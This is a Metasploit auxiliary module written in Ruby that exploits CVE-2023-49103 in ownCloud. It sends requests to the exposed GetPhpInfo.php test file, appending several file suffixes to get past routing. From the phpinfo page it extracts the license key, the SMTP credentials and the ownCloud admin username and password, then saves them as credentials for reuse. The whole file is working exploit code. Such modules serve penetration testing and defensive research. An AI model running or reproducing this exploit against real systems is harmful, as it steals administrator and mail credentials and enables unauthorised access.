## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'ownCloud Phpinfo Reader', 'Description' => %q{ This exploit module illustrates how a vulnerability could be exploited in a webapp. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'creacitysec', # original PoC 'Ron Bowes', # research 'random-robbie' # additional PoC work and research ], 'References' => [ [ 'URL', 'https://owncloud.com/security-advisories/disclosure-of-sensitive-credentials-and-configuration-in-containerized-deployments/'], [ 'URL', 'https://github.com/creacitysec/CVE-2023-49103'], [ 'URL', 'https://www.labs.greynoise.io//grimoire/2023-11-29-owncloud-redux/'], [ 'URL', 'https://www.rapid7.com/blog/post/2023/12/01/etr-cve-2023-49103-critical-information-disclosure-in-owncloud-graph-api/'], [ 'CVE', '2023-49103'] ], 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2023-11-21' ) ) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The URI of ownCloud', '/']), OptEnum.new('ROOT', [true, 'Root path to start with', 'all', ['all', '', 'owncloud'] ]), OptEnum.new('ENDFILE', [ true, 'End path to append', 'all', [ 'all', 'css', 'js', 'svg', 'gif', 'png', 'html', 'ttf', 'woff', 'ico', 'jpg', 'jpeg', 'json', 'properties', 'min.map', 'js.map', 'auto.map' ] ]), ] ) end def roots if datastore['ROOT'] == 'all' return ['', 'owncloud'] end datastore['ROOT'] end def endfiles if datastore['ENDFILE'] == 'all' return [ '.css', '.js', '.svg', '.gif', '.png', '.html', '.ttf', '.woff', '.ico', '.jpg', '.jpeg', '.json', '.properties', '.min.map', '.js.map', '.auto.map' ] end ".#{datastore['ENDFILE']}" end def field_regex(field) "#{field} <\/td>([^ ]+) <\/td><\/tr>" end def run roots.each do |root| endfiles.each do |endfile| url = normalize_uri(target_uri.path, root, 'apps', 'graphapi', 'vendor', 'microsoft', 'microsoft-graph', 'tests', 'GetPhpInfo.php', endfile) vprint_status("Checking: #{url}") res = send_request_cgi( 'uri' => url ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? unless res.code == 200 && res.body.include?('phpinfo()') print_bad("Not Exploited - HTTP Status Code: #{res.code}") next end print_good("Found phpinfo page at: #{url}") # store page l = store_loot( 'owncloud.phpinfo', 'text/html', rhost, res.body, 'phpinfo.html' ) print_good("Loot stored to: #{l}") # process the page ## License Key print_good("License Key: #{::Regexp.last_match(1)}") if res.body =~ /#{field_regex('OWNCLOUD_LICENSE_KEY')}/ ## SMTP if res.body =~ /#{field_regex('OWNCLOUD_MAIL_SMTP_HOST')}/ smtp_host = ::Regexp.last_match(1) print_good("SMTP Host: #{::Regexp.last_match(1)}") end if res.body =~ /#{field_regex('OWNCLOUD_MAIL_SMTP_PORT')}/ smtp_port = ::Regexp.last_match(1) print_good("SMTP Port: #{::Regexp.last_match(1)}") end if res.body =~ /#{field_regex('OWNCLOUD_MAIL_SMTP_NAME')}/ smtp_username = ::Regexp.last_match(1) print_good("SMTP Username: #{::Regexp.last_match(1)}") end if res.body =~ /#{field_regex('OWNCLOUD_MAIL_SMTP_PASSWORD')}/ smtp_password = ::Regexp.last_match(1) print_good("SMTP Password: #{::Regexp.last_match(1)}") end if smtp_password credential_data = { protocol: 'tcp', workspace_id: myworkspace_id, service_name: 'SMTP', origin_type: :service, module_fullname: fullname, status: Metasploit::Model::Login::Status::UNTRIED, private_data: smtp_password, private_type: :password } credential_data[:username] = smtp_username if smtp_username credential_data[:address] = smtp_host.nil? ? '127.0.0.1' : smtp_host credential_data[:port] = smtp_port.nil? ? 25 : smtp_port create_credential(credential_data) end ## ownCloud if res.body =~ /#{field_regex('OWNCLOUD_ADMIN_USERNAME')}/ owncloud_username = ::Regexp.last_match(1) print_good("ownCloud Username: #{::Regexp.last_match(1)}") end if res.body =~ /#{field_regex('OWNCLOUD_ADMIN_PASSWORD')}/ owncloud_password = ::Regexp.last_match(1) print_good("ownCloud Password: #{::Regexp.last_match(1)}") end if res.body =~ /#{field_regex('SERVER_PORT')}/ ::Regexp.last_match(1) end if owncloud_password credential_data = { protocol: 'tcp', port: rport, address: rhost, workspace_id: myworkspace_id, service_name: 'ownCloud', origin_type: :service, module_fullname: fullname, status: Metasploit::Model::Login::Status::UNTRIED, private_data: owncloud_password, private_type: :password } credential_data[:username] = owncloud_username if owncloud_username create_credential(credential_data) end return # no need to keep going, we already got what we wanted end end end end